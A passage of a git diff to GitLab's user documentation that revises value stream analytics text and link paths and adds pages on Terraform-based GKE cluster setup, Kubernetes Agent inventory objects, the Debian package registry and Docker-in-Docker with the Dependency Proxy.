1. Review merge request, ensure that everything is OK and merge the merge
request at 19:00. (stop of **Review** stage / start of **Staging** stage).
@@ -185,7 +190,7 @@ A few notes:
commit doesn't mention the issue number, you can do this later in any commit
of the branch you are working on.
- You can see that the **Test** stage is not calculated to the overall time of
- the cycle since it is included in the **Review** process (every MR should be
+ the cycle, because it is included in the **Review** process (every MR should be
tested).
- The example above was just **one cycle** of the seven stages. Add multiple
cycles, calculate their median time and the result is what the dashboard of
@@ -346,7 +351,7 @@ In this example, we'd like to measure times for deployment from a staging enviro
After you create a value stream, you can customize it to suit your purposes. To edit a value stream:
1. Go to your group and select **Analytics > Value Stream**.
-1. Find and select the relevant value stream from the value stream dropdown.
+1. Find and select the relevant value stream from the value stream dropdown.
1. Next to the value stream dropdown, select **Edit**.
The edit form is populated with the value stream details.
1. Optional:
@@ -381,7 +386,7 @@ This chart visually depicts the average number of days it takes for cycles to be
This chart uses the global page filters for displaying data based on the selected
group, projects, and time frame. In addition, specific stages can be selected
-from within the chart itself.
+from the chart itself.
The chart data is limited to the last 500 items.
diff --git a/doc/user/img/todos_add_todo_sidebar.png b/doc/user/img/todos_add_todo_sidebar.png
deleted file mode 100644
index aefec7a2d9c..00000000000
--- a/doc/user/img/todos_add_todo_sidebar.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/img/todos_add_todo_sidebar_v14_1.png b/doc/user/img/todos_add_todo_sidebar_v14_1.png
new file mode 100644
index 00000000000..65120beca29
--- /dev/null
+++ b/doc/user/img/todos_add_todo_sidebar_v14_1.png
Binary files differ
diff --git a/doc/user/img/todos_mark_done_sidebar.png b/doc/user/img/todos_mark_done_sidebar.png
deleted file mode 100644
index 2badd880b40..00000000000
--- a/doc/user/img/todos_mark_done_sidebar.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/img/todos_mark_done_sidebar_v14_1.png b/doc/user/img/todos_mark_done_sidebar_v14_1.png
new file mode 100644
index 00000000000..628fe65a7c1
--- /dev/null
+++ b/doc/user/img/todos_mark_done_sidebar_v14_1.png
Binary files differ
diff --git a/doc/user/index.md b/doc/user/index.md
index ab159cecdef..8fc91ec95ea 100644
--- a/doc/user/index.md
+++ b/doc/user/index.md
@@ -31,7 +31,7 @@ For more information, see [All GitLab Features](https://about.gitlab.com/feature
To get familiar with the concepts needed to develop code on GitLab, read the following articles:
- [Demo: Mastering Code Review With GitLab](https://about.gitlab.com/blog/2017/03/17/demo-mastering-code-review-with-gitlab/).
-- [GitLab Workflow: An Overview](https://about.gitlab.com/topics/version-control/what-is-gitlab-workflow/#gitlab-workflow-a-use-case-scenario).
+- [What is GitLab Flow?](https://about.gitlab.com/topics/version-control/what-is-gitlab-flow/).
- [Tutorial: It's all connected in GitLab](https://about.gitlab.com/blog/2016/03/08/gitlab-tutorial-its-all-connected/): an overview on code collaboration with GitLab.
- [Trends in Version Control Land: Microservices](https://about.gitlab.com/blog/2016/08/16/trends-in-version-control-land-microservices/).
- [Trends in Version Control Land: Innersourcing](https://about.gitlab.com/topics/version-control/what-is-innersource/).
@@ -46,7 +46,7 @@ GitLab is a Git-based platform that integrates a great number of essential tools
- Organizing and prioritizing with [Issue Boards](project/issue_board.md).
- Reviewing code in [Merge Requests](project/merge_requests/index.md) with live-preview changes per
branch with [Review Apps](../ci/review_apps/index.md).
-- Building, testing, and deploying with built-in [Continuous Integration](../ci/README.md).
+- Building, testing, and deploying with built-in [Continuous Integration](../ci/index.md).
- Deploying personal and professional static websites with [GitLab Pages](project/pages/index.md).
- Integrating with Docker by using [GitLab Container Registry](packages/container_registry/index.md).
- Tracking the development lifecycle by using [GitLab Value Stream Analytics](analytics/value_stream_analytics.md).
@@ -64,7 +64,7 @@ With GitLab Enterprise Edition, you can also:
- Leverage [Elasticsearch](../integration/elasticsearch.md) with [Advanced Search](search/advanced_search.md) for faster, more advanced code search across your entire GitLab instance.
- [Authenticate users with Kerberos](../integration/kerberos.md).
- [Mirror a repository](project/repository/repository_mirroring.md) from elsewhere on your local server.
-- View your entire CI/CD pipeline involving more than one project with [Multiple-Project Pipelines](../ci/multi_project_pipelines.md).
+- View your entire CI/CD pipeline involving more than one project with [Multiple-Project Pipelines](../ci/pipelines/multi_project_pipelines.md).
- [Lock files](project/file_lock.md) to prevent conflicts.
- View the current health and status of each CI environment running on Kubernetes with [Deploy Boards](project/deploy_boards.md).
- Leverage continuous delivery method with [Canary Deployments](project/canary_deployments.md).
@@ -136,7 +136,7 @@ merge requests, code snippets, and commits.
When performing inline reviews to implementations
to your codebase through merge requests you can
-gather feedback through [resolvable threads](discussions/index.md#resolvable-comments-and-threads).
+gather feedback through [resolvable threads](discussions/index.md#resolve-a-thread).
### GitLab Flavored Markdown (GFM)
@@ -164,7 +164,7 @@ you have quick access to. You can also gather feedback on them through
## GitLab CI/CD
-Use built-in [GitLab CI/CD](../ci/README.md) to test, build, and deploy your applications
+Use built-in [GitLab CI/CD](../ci/index.md) to test, build, and deploy your applications
directly from GitLab. No third-party integrations needed.
## Features behind feature flags
@@ -189,7 +189,7 @@ POST request with data to the webhook URL.
## API
-Automate GitLab via [API](../api/README.md).
+Automate GitLab via [API](../api/index.md).
## Git and GitLab
diff --git a/doc/user/infrastructure/clusters/connect/new_gke_cluster.md b/doc/user/infrastructure/clusters/connect/new_gke_cluster.md
new file mode 100644
index 00000000000..35af316d7ac
--- /dev/null
+++ b/doc/user/infrastructure/clusters/connect/new_gke_cluster.md
@@ -0,0 +1,94 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# New GKE cluster through IaC
+
+Learn how to create a new cluster on Google Kubernetes Engine (GKE) through
+[Infrastructure as Code (IaC)](../../index.md).
+
+This process combines the GitLab Terraform and Google Terraform providers
+with Kubernetes to help you create GKE clusters and deploy them through
+GitLab.
+
+This document describes how to set up a [group-level cluster](../../../group/clusters/index.md) on GKE by importing an example project to get you started.
+You can then modify the project files according to your needs.
+
+**Prerequisites:**
+
+- A GitLab group.
+- A GitLab user with the Maintainer role in the group.
+- A [GitLab personal access token](../../../profile/personal_access_tokens.md) with `api` access, created by a user with at least the Maintainer role in the group.
+- A [Google Cloud Platform (GCP) service account](https://cloud.google.com/docs/authentication/getting-started).
+
+**Steps:**
+
+1. [Import the example project](#import-the-example-project).
+1. [Add your GCP credentials to GitLab](#add-your-gcp-credentials-to-gitlab).
+1. [Configure your project](#configure-your-project).
+1. [Deploy your cluster](#deploy-your-cluster).
+
+## Import the example project
+
+Start by [importing the example project by URL](../../../project/import/repo_by_url.md). Use `https://gitlab.com/gitlab-org/configure/examples/gitlab-terraform-gke.git` as URL.
+
+## Add your GCP credentials to GitLab
+
+After importing the project, you need to set up [CI environment variables](../../../../ci/variables/index.md) to associate your cluster on GCP to your group in GitLab.
+
+We advise that you [set environment variables through the GitLab UI](../../../../ci/variables/index.md#add-a-cicd-variable-to-a-project)
+so that your credentials are not exposed through the code. To do so, follow the steps below.
+
+### Prepare your credentials on GCP
+
+1. Create a [GCP service account](https://cloud.google.com/docs/authentication/getting-started) to authenticate GCP with GitLab. It needs the following roles: `Computer Network Viewer`, `Kubernetes Engine Admin`, and `Service Account User`.
+1. Download the JSON file with the service account key.
+1. On your computer, encode the JSON file to `base64` (replace `/path/to/sa-key.json` to the path to your key):
+
+ ```shell
+ base64 /path/to/sa-key.json | tr -d \\n`
+ ```
+
+1. Use the output of this command as the `BASE64_GOOGLE_CREDENTIALS` environment variable in the next step.
+
+### Add your credentials to GitLab as environment variables
+
+1. On GitLab, from your project's sidebar, go to **Settings > CI/CD** and expand **Variables**.
+1. Add your `GITLAB_TOKEN` ([personal access token](../../../profile/personal_access_tokens.md)).
+1. Add the variable `BASE64_GOOGLE_CREDENTIALS` from the previous step.
+
+## Configure your project
+
+After authenticating with GCP, replace the project's defaults from the example
+project with your own. To do so, edit the files as described below.
+
+Edit `gke.tf`:
+
+1. **(Required)** Replace the GCP `project` with a unique project name.
+1. **(Optional)** Choose the `name` of your cluster.
+1. **(Optional)** Choose the `region` and `zone` that you would like to deploy your cluster to.
+1. Push the changes to your project's default branch.
+
+Edit `group_cluster.tf`:
+
+1. **(Required)**: Replace the `full_path` with the path to your group.
+1. **(Optional)**: Choose your cluster base domain through `domain`.
+1. **(Optional)**: Choose your environment through `environment_scope`.
+1. Push the changes to your project's default branch.
+
+Refer to the [GitLab Terraform provider](https://registry.terraform.io/providers/gitlabhq/gitlab/latest/docs) and the [Google Terraform provider](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) documentation for further resource options.
+
+## Deploy your cluster
+
+After adjusting the files in the previous step, manually trigger the deployment of your cluster. In GitLab:
+
+1. From your project's sidebar, go to **CI/CD > Pipelines**.
+1. Select the dropdown icon (**{angle-down}**) next to the play icon (**{play}**).
+1. Select **deploy** to manually trigger the deployment job.
+
+When the pipeline finishes successfully, you can see your new cluster:
+
+- In GCP: on your [GCP console's Kubernetes list](https://console.cloud.google.com/kubernetes/list).
+- In GitLab: from your project's sidebar, select **Infrastructure > Kubernetes clusters**.
diff --git a/doc/user/infrastructure/clusters/deploy/inventory_object.md b/doc/user/infrastructure/clusters/deploy/inventory_object.md
new file mode 100644
index 00000000000..d5840641aab
--- /dev/null
+++ b/doc/user/infrastructure/clusters/deploy/inventory_object.md
@@ -0,0 +1,69 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Inventory object **(PREMIUM)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/332227) in GitLab 14.0.
+
+An inventory object is a `ConfigMap` object for keeping track of the set of objects applied to a cluster.
+When you remove objects from a manifest repository, GitLab Kubernetes Agent uses a corresponding inventory object to
+prune (delete) objects from the cluster.
+
+The GitLab Kubernetes Agent creates an inventory object for each manifest project specified in the
+`gitops.manifest_projects` configuration section. The inventory object has to be stored somewhere in the cluster.
+The default behavior is:
+
+- The `namespace` used comes from `gitops.manifest_projects[].default_namespace`. If you don't specify this parameter
+ explicitly, the inventory object is stored in the `default` namespace.
+- The `name` is generated from the numeric project ID of the manifest project and the numeric agent ID.
+
+ This way the GitLab Kubernetes Agent constructs the name and local where the inventory object is
+ stored in the cluster.
+
+The GitLab Kubernetes Agent cannot locate the existing inventory object if you:
+
+- Change `gitops.manifest_projects[].default_namespace` parameter.
+- Move manifests into another project.
+
+## Inventory object template
+
+The inventory object template is a `ConfigMap` object that allows you to configure the namespace and the name of the inventory
+object. Store this template with manifest files in a single group.
+
+Example inventory object template:
+
+```yaml
+apiVersion: v1
+kind: ConfigMap
+metadata:
+ name: unique-name-for-the-inventory
+ namespace: my-project-namespace
+ labels:
+ cli-utils.sigs.k8s.io/inventory-id: unique-name-for-the-inventory
+```
+
+- The `namespace` and `name` fields configure where the real inventory object is created.
+- The `cli-utils.sigs.k8s.io/inventory-id` label with its corresponding value is set on the inventory object, created
+ from this template. Make sure that the value is unique (for example, a string of random characters) and doesn't clash
+ with any existing or future inventory object templates.
+- Objects tracked by this inventory object have the `config.k8s.io/owning-inventory` annotation set to the value of
+ the `cli-utils.sigs.k8s.io/inventory-id` label.
+- The label's value doesn't have to match the `name` but it's convenient to have them set to the same value.
+- Make sure that the `name` is unique so that it doesn't conflict with another inventory object in the same
+ namespace in the future.
+
+## Using GitOps with pre-existing Kubernetes objects
+
+The GitLab Kubernetes Agent treats manifest files in the manifest repository as the source of truth. When it applies
+objects from the files to the cluster, it tracks them in an inventory object. If an object already exists,
+GitLab Kubernetes Agent behaves differently based on the `gitops.manifest_projects[].inventory_policy` configuration.
+Check the table below with the available options and when to use them.
+
+`inventory_policy` value | Description |
+------------------------ | ------------------------------------------------------------------------------------------- |
+`must_match` | This is the default policy. A live object must have the `config.k8s.io/owning-inventory` annotation set to the same value as the `cli-utils.sigs.k8s.io/inventory-id` label on the corresponding inventory object to be updated. Object is not updated and an error is reported if the values don't match or the object doesn't have the annotation. |
+`adopt_if_no_inventory` | This mode allows to "adopt" an object if it doesn't have the `config.k8s.io/owning-inventory` annotation. Use this mode if you want to start managing existing objects using the GitOps feature. Once all objects have been "adopted", we recommend you to put the setting back into the default `must_match` mode to avoid any unexpected adoptions. |
+`adopt_all` | This mode allows to "adopt" an object even if it has the `config.k8s.io/owning-inventory` annotation set to a different value. This mode can be useful if you want to migrate a set of objects from one agent to another one or from some other tool to the GitLab Kubernetes Agent. Once all objects have been "adopted", we recommend you to put the setting back into the default `must_match` mode to avoid any unexpected adoptions. |
diff --git a/doc/user/infrastructure/index.md b/doc/user/infrastructure/index.md
index 05ffab93f85..bdaae4b8225 100644
--- a/doc/user/infrastructure/index.md
+++ b/doc/user/infrastructure/index.md
@@ -16,7 +16,7 @@ GitLab, and support Terraform best practices.
## Quick Start
Use the following `.gitlab-ci.yml` to set up a basic Terraform project integration
-for GitLab versions 13.5 and later:
+for GitLab versions 14.0 and later:
```yaml
include:
@@ -38,7 +38,7 @@ This template includes some opinionated decisions, which you can override:
- Creating [four pipeline stages](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml):
`init`, `validate`, `build`, and `deploy`. These stages
[run the Terraform commands](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform/Base.gitlab-ci.yml)
- `init`, `validate`, `plan`, `plan-json`, and `apply`. The `apply` command only runs on `master`.
+ `init`, `validate`, `plan`, `plan-json`, and `apply`. The `apply` command only runs on the default branch.
This video from January 2021 walks you through all the GitLab Terraform integration features:
@@ -89,7 +89,7 @@ tools or rely on 3rd party solutions to streamline their IaC workflows.
Read more on setting up and [using the merge request integrations](mr_integration.md).
-## The GitLab terraform provider
+## The GitLab Terraform provider
WARNING:
The GitLab Terraform provider is released separately from GitLab.
@@ -101,3 +101,39 @@ owned by GitLab, where everyone can contribute.
The [documentation of the provider](https://registry.terraform.io/providers/gitlabhq/gitlab/latest/docs)
is available as part of the official Terraform provider documentations.
+
+## Create a new cluster through IaC
+
+Learn how to [create a new cluster on Google Kubernetes Engine (GKE)](clusters/connect/new_gke_cluster.md).
+
+## Troubleshooting
+
+### `gitlab_group_share_group` resources not detected when subgroup state is refreshed
+
+The GitLab Terraform provider can fail to detect existing `gitlab_group_share_group` resources
+due to the issue ["User with permissions cannot retrieve `share_with_groups` from the API"](https://gitlab.com/gitlab-org/gitlab/-/issues/328428).
+This results in an error when running `terraform apply` because Terraform attempts to recreate an
+existing resource.
+
+For example, consider the following group/subgroup configuration:
+
+```plaintext
+parent-group
+├── subgroup-A
+└── subgroup-B
+```
+
+Where:
+
+- User `user-1` creates `parent-group`, `subgroup-A`, and `subgroup-B`.
+- `subgroup-A` is shared with `subgroup-B`.
+- User `terraform-user` is member of `parent-group` with inherited `owner` access to both subgroups.
+
+When the Terraform state is refreshed, the API query `GET /groups/:subgroup-A_id` issued by the provider does not return the
+details of `subgroup-B` in the `shared_with_groups` array. This leads to the error.
+
+To workaround this issue, make sure to apply one of the following conditions:
+
+1. The `terraform-user` creates all subgroup resources.
+1. Grant Maintainer or Owner role to the `terraform-user` user on `subgroup-B`.
+1. The `terraform-user` inherited access to `subgroup-B` and `subgroup-B` contains at least one project.
diff --git a/doc/user/infrastructure/mr_integration.md b/doc/user/infrastructure/mr_integration.md
index 6f8b1d8d569..66e00bab6ce 100644
--- a/doc/user/infrastructure/mr_integration.md
+++ b/doc/user/infrastructure/mr_integration.md
@@ -10,7 +10,7 @@ Collaborating around Infrastructure as Code (IaC) changes requires both code cha
## Output Terraform Plan information into a merge request
-Using the [GitLab Terraform Report artifact](../../ci/yaml/README.md#artifactsreportsterraform),
+Using the [GitLab Terraform Report artifact](../../ci/yaml/index.md#artifactsreportsterraform),
you can expose details from `terraform plan` runs directly into a merge request widget,
enabling you to see statistics about the resources that Terraform creates,
modifies, or destroys.
@@ -57,7 +57,7 @@ To manually configure a GitLab Terraform Report artifact requires the following
1. Define a `script` that runs `terraform plan` and `terraform show`. These commands
pipe the output and convert the relevant bits into a store variable `PLAN_JSON`.
This JSON is used to create a
- [GitLab Terraform Report artifact](../../ci/yaml/README.md#artifactsreportsterraform).
+ [GitLab Terraform Report artifact](../../ci/yaml/index.md#artifactsreportsterraform).
The Terraform report obtains a Terraform `tfplan.json` file. The collected
Terraform plan report is uploaded to GitLab as an artifact, and is shown in merge requests.
diff --git a/doc/user/infrastructure/terraform_state.md b/doc/user/infrastructure/terraform_state.md
index 0b92ea46338..57db2b47de4 100644
--- a/doc/user/infrastructure/terraform_state.md
+++ b/doc/user/infrastructure/terraform_state.md
@@ -242,7 +242,7 @@ An example setup is shown below:
Outputs from the data source can now be referenced in your Terraform resources
using `data.terraform_remote_state.example.outputs.<OUTPUT-NAME>`.
-You need at least [developer access](../permissions.md) to the target project
+You need at least the [Developer role](../permissions.md) in the target project
to read the Terraform state.
## Migrating to GitLab Managed Terraform state
diff --git a/doc/user/markdown.md b/doc/user/markdown.md
index fdfd953e52a..fc278007463 100644
--- a/doc/user/markdown.md
+++ b/doc/user/markdown.md
@@ -31,7 +31,7 @@ and the [main GitLab website](https://about.gitlab.com) use [Kramdown](https://k
You should not view this page in the documentation, but instead [view these styles as they appear on GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md).
GitLab Flavored Markdown extends the [CommonMark specification](https://spec.commonmark.org/current/).
-It was inspired by [GitHub Flavored Markdown](https://docs.github.com/en/github/writing-on-github/basic-writing-and-formatting-syntax).
+It was inspired by [GitHub Flavored Markdown](https://docs.github.com/en/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax).
## Where you can use GitLab Flavored Markdown
@@ -412,6 +412,10 @@ A table of contents is an unordered list that links to subheadings in the docume
To add a table of contents to a Markdown file, wiki page, issue request, or merge request
description, add the `[[_TOC_]]` tag on its own line.
+NOTE:
+You can add a table of contents to issues and merge requests, but you can't add one
+to notes or comments.
+
```markdown
This is an intro sentence to my Wiki page.
@@ -507,7 +511,8 @@ This example links to `<wiki_root>/miscellaneous.md`:
GitLab Flavored Markdown renders GitLab-specific references. For example, you can reference
an issue, a commit, a team member, or even an entire project team. GitLab Flavored Markdown turns
-that reference into a link so you can navigate between them.
+that reference into a link so you can navigate between them. All references to projects should use the
+**project slug** rather than the project name.
Additionally, GitLab Flavored Markdown recognizes certain cross-project references and also has a shorthand
version to reference other projects from the same namespace.
@@ -519,7 +524,7 @@ GitLab Flavored Markdown recognizes the following:
| specific user | `@user_name` | | |
| specific group | `@group_name` | | |
| entire team | `@all` | | |
-| project | `namespace/project>` | | |
+| project | `namespace/project` | | |
| issue | ``#123`` | `namespace/project#123` | `project#123` |
| merge request | `!123` | `namespace/project!123` | `project!123` |
| snippet | `$123` | `namespace/project$123` | `project$123` |
@@ -1181,7 +1186,7 @@ Do not edit the following codeblock. It uses HTML to skip the Vale ReferenceLink
<pre class="highlight"><code>- This is an [inline-style link](https://www.google.com)
- This is a [link to a repository file in the same directory](index.md)
-- This is a [relative link to a readme one directory higher](../README.md)
+- This is a [relative link to a readme one directory higher](../index.md)
- This is a [link that also has title text](https://www.google.com "This link takes you to Google!")
Using header ID anchors:
@@ -1204,7 +1209,7 @@ Some text to show that the reference links can follow later.
- This is an [inline-style link](https://www.google.com)
- This is a [link to a repository file in the same directory](index.md)
-- This is a [relative link to a README one directory higher](../README.md)
+- This is a [relative link to a README one directory higher](../index.md)
- This is a [link that also has title text](https://www.google.com "This link takes you to Google!")
Using header ID anchors:
diff --git a/doc/user/packages/composer_repository/index.md b/doc/user/packages/composer_repository/index.md
index b5170dfa55b..b6eb2975374 100644
--- a/doc/user/packages/composer_repository/index.md
+++ b/doc/user/packages/composer_repository/index.md
@@ -293,7 +293,7 @@ To install a package:
WARNING:
Never commit the `auth.json` file to your repository. To install packages from a CI/CD job,
consider using the [`composer config`](https://getcomposer.org/doc/articles/handling-private-packages.md#satis) tool with your personal access token
-stored in a [GitLab CI/CD variable](../../../ci/variables/README.md) or in
+stored in a [GitLab CI/CD variable](../../../ci/variables/index.md) or in
[HashiCorp Vault](../../../ci/secrets/index.md).
## Supported CLI commands
diff --git a/doc/user/packages/conan_repository/index.md b/doc/user/packages/conan_repository/index.md
index a429e746cf2..c6cc7e7905a 100644
--- a/doc/user/packages/conan_repository/index.md
+++ b/doc/user/packages/conan_repository/index.md
@@ -269,7 +269,7 @@ conan upload Hello/0.1@mycompany/beta --all
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11678) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.7.
-To work with Conan commands in [GitLab CI/CD](../../../ci/README.md), you can
+To work with Conan commands in [GitLab CI/CD](../../../ci/index.md), you can
use `CI_JOB_TOKEN` in place of the personal access token in your commands.
You can provide the `CONAN_LOGIN_USERNAME` and `CONAN_PASSWORD` with each Conan
diff --git a/doc/user/packages/container_registry/index.md b/doc/user/packages/container_registry/index.md
index d6e86e64e78..eecc17fd60d 100644
--- a/doc/user/packages/container_registry/index.md
+++ b/doc/user/packages/container_registry/index.md
@@ -135,7 +135,7 @@ To view these commands, go to your project's **Packages & Registries > Container
## Build and push by using GitLab CI/CD
-Use [GitLab CI/CD](../../../ci/yaml/README.md) to build and push images to the
+Use [GitLab CI/CD](../../../ci/yaml/index.md) to build and push images to the
Container Registry. Use it to test, build, and deploy your project from the Docker
image you created.
@@ -154,7 +154,7 @@ To use CI/CD to authenticate, you can use:
docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
```
-- A [CI job token](../../../ci/triggers/README.md#ci-job-token).
+- A [CI job token](../../../ci/triggers/index.md#ci-job-token).
```shell
docker login -u $CI_JOB_USER -p $CI_JOB_TOKEN $CI_REGISTRY
@@ -210,7 +210,7 @@ build:
- docker push $CI_REGISTRY/group/project/image:latest
```
-You can also make use of [other CI/CD variables](../../../ci/variables/README.md) to avoid hard-coding:
+You can also make use of [other CI/CD variables](../../../ci/variables/index.md) to avoid hard-coding:
```yaml
build:
@@ -309,7 +309,7 @@ in addition to the steps in the
[Docker-in-Docker](../../../ci/docker/using_docker_build.md#use-the-docker-executor-with-the-docker-image-docker-in-docker) section:
1. Update the `image` and `service` to point to your registry.
-1. Add a service [alias](../../../ci/yaml/README.md#servicesalias).
+1. Add a service [alias](../../../ci/yaml/index.md#servicesalias).
Below is an example of what your `.gitlab-ci.yml` should look like:
@@ -332,6 +332,36 @@ If you forget to set the service alias, the `docker:19.03.12` image is unable to
error during connect: Get http://docker:2376/v1.39/info: dial tcp: lookup docker on 192.168.0.1:53: no such host
```
+### Using a Docker-in-Docker image with Dependency Proxy
+
+To use your own Docker images with Dependency Proxy, follow these steps
+in addition to the steps in the
+[Docker-in-Docker](../../../ci/docker/using_docker_build.md#use-the-docker-executor-with-the-docker-image-docker-in-docker) section:
+
+1. Update the `image` and `service` to point to your registry.
+1. Add a service [alias](../../../ci/yaml/index.md#servicesalias).
+
+Below is an example of what your `.gitlab-ci.yml` should look like:
+
+```yaml
+build:
+ image: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/docker:19.03.12
+ services:
+ - name: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/docker:18.09.7-dind
+ alias: docker
+ stage: build
+ script:
+ - docker build -t my-docker-image .
+ - docker run my-docker-image /script/to/run/tests
+```
+
+If you forget to set the service alias, the `docker:19.03.12` image is unable to find the
+`dind` service, and an error like the following is thrown:
+
+```plaintext
+error during connect: Get http://docker:2376/v1.39/info: dial tcp: lookup docker on 192.168.0.1:53: no such host
+```
+
## Delete images
You can delete images from your Container Registry in multiple ways.
@@ -533,7 +563,7 @@ You can create a cleanup policy in [the API](#use-the-cleanup-policy-api) or the
To create a cleanup policy in the UI:
-1. For your project, go to **Settings > CI/CD**.
+1. For your project, go to **Settings > Packages & Registries**.
1. Expand the **Clean up image tags** section.
1. Complete the fields.
@@ -788,7 +818,7 @@ these steps:
the tags' names will be in the `list_o_tags.out` file:
```shell
- # Get a list of all tags in a certain container repository while considering [pagination](../../../api/README.md#pagination)
+ # Get a list of all tags in a certain container repository while considering [pagination](../../../api/index.md#pagination)
echo -n "" > list_o_tags.out; for i in {1..N}; do curl --header 'PRIVATE-TOKEN: <PAT>' "https://gitlab.example.com/api/v4/projects/<Project_id>/registry/repositories/<container_repo_id>/tags?per_page=100&page=${i}" | jq '.[].name' | sed 's:^.\(.*\).$:\1:' >> list_o_tags.out; done
```
diff --git a/doc/user/packages/debian_repository/index.md b/doc/user/packages/debian_repository/index.md
new file mode 100644
index 00000000000..59213ccb1a0
--- /dev/null
+++ b/doc/user/packages/debian_repository/index.md
@@ -0,0 +1,111 @@
+---
+stage: Package
+group: Package
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Debian packages in the Package Registry **(FREE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5835) in GitLab 14.1.
+
+WARNING:
+The Debian package registry for GitLab is under development and isn't ready for production use due to
+limited functionality.
+
+Publish Debian packages in your project's Package Registry. Then install the
+packages whenever you need to use them as a dependency.
+
+Project and Group packages are supported.
+
+For documentation of the specific API endpoints that Debian package manager
+clients use, see the [Debian API documentation](../../../api/packages/debian.md).
+
+## Enable Debian repository feature
+
+Debian repository support is still a work in progress. It's gated behind a feature flag that's
+**disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can opt to enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:debian_packages)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:debian_packages)
+```
+
+## Build a Debian package
+
+Creating a Debian package is documented [on the Debian Wiki](https://wiki.debian.org/Packaging).
+
+## Create a Distribution
+
+On the project-level, Debian packages are published using *Debian Distributions*. To publish
+packages on the group level, create a distribution with the same `codename`.
+
+To create a project-level distribution:
+
+```shell
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/<project_id>/debian_distributions?codename=unstable
+```
+
+Example response:
+
+```json
+{
+ "id": 1,
+ "codename": "unstable",
+ "suite": null,
+ "origin": null,
+ "label": null,
+ "version": null,
+ "description": null,
+ "valid_time_duration_seconds": null,
+ "components": [
+ "main"
+ ],
+ "architectures": [
+ "all",
+ "amd64"
+ ]
+}
+```
+
+More information on Debian distribution APIs:
+
+- [Debian project distributions API](../../../api/packages/debian_project_distributions.md)
+- [Debian group distributions API](../../../api/packages/debian_group_distributions.md)
+
+## Publish a package
+
+Once built, several files are created:
+
+- `.deb` files: the binary packages
+- `.udeb` files: lightened .deb files, used for Debian-Installer (if needed)
+- `.tar.{gz,bz2,xz,...}` files: Source files
+- `.dsc` file: Source metadata, and list of source files (with hashes)
+- `.buildinfo` file: Used for Reproducible builds (optional)
+- `.changes` file: Upload metadata, and list of uploaded files (all the above)
+
+To upload these files, you can use `dput-ng >= 1.32` (Debian bullseye):
+
+```shell
+cat <<EOF > dput.cf
+[gitlab]
+method = https
+fqdn = <login>:<your_access_token>@gitlab.example.com
+incoming = /api/v4/projects/<project_id>/packages/debian
+EOF
+
+dput --config=dput.cf --unchecked --no-upload-log gitlab <your_package>.changes
+```
+
+## Install a package
+
+The Debian package registry for GitLab is under development, and isn't ready for production use. You
+cannot install packages from the registry. However, you can download files directly from the UI.
diff --git a/doc/user/packages/dependency_proxy/index.md b/doc/user/packages/dependency_proxy/index.md
index 3dd900d2cbe..e2957aff756 100644
--- a/doc/user/packages/dependency_proxy/index.md
+++ b/doc/user/packages/dependency_proxy/index.md
@@ -123,7 +123,7 @@ Proxy manually without including the port:
docker pull gitlab.example.com:443/my-group/dependency_proxy/containers/alpine:latest
```
-You can also use [custom CI/CD variables](../../../ci/variables/README.md#custom-cicd-variables) to store and access your personal access token or other valid credentials.
+You can also use [custom CI/CD variables](../../../ci/variables/index.md#custom-cicd-variables) to store and access your personal access token or other valid credentials.
### Store a Docker image in Dependency Proxy cache
@@ -134,13 +134,13 @@ To store a Docker image in Dependency Proxy storage:
1. Use one of these commands. In these examples, the image is `alpine:latest`.
1. You can also pull images by digest to specify exactly which version of an image to pull.
- - Pull an image by tag by adding the image to your [`.gitlab-ci.yml`](../../../ci/yaml/README.md#image) file:
+ - Pull an image by tag by adding the image to your [`.gitlab-ci.yml`](../../../ci/yaml/index.md#image) file:
```shell
image: gitlab.example.com/groupname/dependency_proxy/containers/alpine:latest
```
- - Pull an image by digest by adding the image to your [`.gitlab-ci.yml`](../../../ci/yaml/README.md#image) file:
+ - Pull an image by digest by adding the image to your [`.gitlab-ci.yml`](../../../ci/yaml/index.md#image) file:
```shell
image: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/alpine@sha256:c9375e662992791e3f39e919b26f510e5254b42792519c180aad254e6b38f4dc
@@ -180,7 +180,7 @@ Watch how to [use the Dependency Proxy to help avoid Docker Hub rate limits](htt
In November 2020, Docker introduced
[rate limits on pull requests from Docker Hub](https://docs.docker.com/docker-hub/download-rate-limit/).
-If your GitLab [CI/CD configuration](../../../ci/README.md) uses
+If your GitLab [CI/CD configuration](../../../ci/index.md) uses
an image from Docker Hub, each time a job runs, it may count as a pull request.
To help get around this limit, you can pull your image from the Dependency Proxy cache instead.
@@ -252,3 +252,22 @@ hub_docker_quota_check:
- |
